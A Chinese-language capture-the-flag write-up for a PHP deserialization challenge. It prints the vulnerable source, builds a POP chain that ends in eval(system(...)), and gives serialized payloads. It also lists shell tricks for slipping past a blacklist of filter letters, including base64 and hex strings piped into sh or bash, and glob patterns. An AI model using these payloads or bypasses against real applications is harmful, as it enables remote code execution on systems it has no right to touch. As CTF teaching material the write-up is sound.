PHP_unserialize_pro
考点:
- 反序列化漏洞POP的构造
- eval()函数恶意php代码执行
- []通配的形式绕过黑名单字母
源代码:
<?php
error_reporting(0);
class Welcome{
public $name;
public $arg = 'welcome';
public function __construct(){
$this->name = 'Wh0 4m I?';
}
public function __destruct(){
if($this->name == 'A_G00d_H4ck3r'){
echo $this->arg;
}
}
}
class G00d{
public $shell;
public $cmd;
public function __invoke(){
$shell = $this->shell;
$cmd = $this->cmd;
if(preg_match('/f|l|a|g|\*|\?/i', $cmd)){
die("U R A BAD GUY");
}
eval($shell($cmd));
}
}
class H4ck3r{
public $func;
public function __toString(){
$function = $this->func;
$function();
}
}
if(isset($_GET['data']))
unserialize($_GET['data']);
else
highlight_file(__FILE__);
?>
代码审计:
先找出口函数:为eval() 然后执行eval()函数 就必须触发__invoke()魔术方法,
__invoke():当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。
所以我们只要令H4ck3r类里面的$func = new G00d()就可以触发了,然后调用func函数就要触发__toString()魔术方法,
__toString():当一个对象被当作一个字符串时使用
所以我们就要调用Welcome里面的arg令它当成G00d()函数就行 然后就是触发__destruct()
条件就是要销毁一个对象 那就要创建对象 就触发了__construct()魔术方法
POP链:
__construct->__destruct()->__toString()->__invoke()
代码构造;
<?php
class Welcome
{
public $name = 'A_G00d_H4ck3r';
public $arg = 'welcome';
}
class G00d
{
public $shell = 'system';
public $cmd = 'dir /';
}
class H4ck3r
{
public $func;
}
$m = new Welcome();
$m->arg = new H4ck3r();
$m->arg->func = new G00d();
echo serialize($m);
Payload:?data=O:7:"Welcome":2:{s:4:"name";s:13:"A_G00d_H4ck3r";s:3:"arg";O:6:"H4ck3r":1:{s:4:"func";O:4:"G00d":2:{s:5:"shell";s:6:"system";s:3:"cmd";s:5:"dir /";}}}
发现f1ag 因为黑名单的限制 所有匹配flag字母都会被禁止 这里就采用通配符[]进行绕过
关于某个字母被ban的绕过方法
反斜线转义 cat fla\g.php
两个单引号做分隔 cat fl''ag.php
base64编码绕过 echo Y2F0IGZsYWcucGhw | base64 -d | sh
hex编码绕过 echo 63617420666c61672e706870 | xxd -r -p | bash
glob通配符 cat f[k-m]ag.php cat f[l]ag.php
?和*
cat f{k..m}ag.php
定义变量做拼接 a=g.php; cat fla$a
内联执行cat
echo 666c61672e706870 | xxd -r -p
或 cat $(echo 666c61672e706870 | xxd -r -p) 或 echo 666c61672e706870 | xxd -r -p | xargs cat
所以最终paylo:
?data=O:7:"Welcome":2:{s:4:"name";s:13:"A_G00d_H4ck3r";s:3:"arg";O:6:"H4ck3r":1:{s:4:"func";O:4:"G00d":2:{s:5:"shell";s:6:"system";s:3:"cmd";s:22:"more /[b-z]1[@-z][b-z]";}}}
得到falg
版权归原作者 文大。 所有, 如有侵权,请联系我们删除。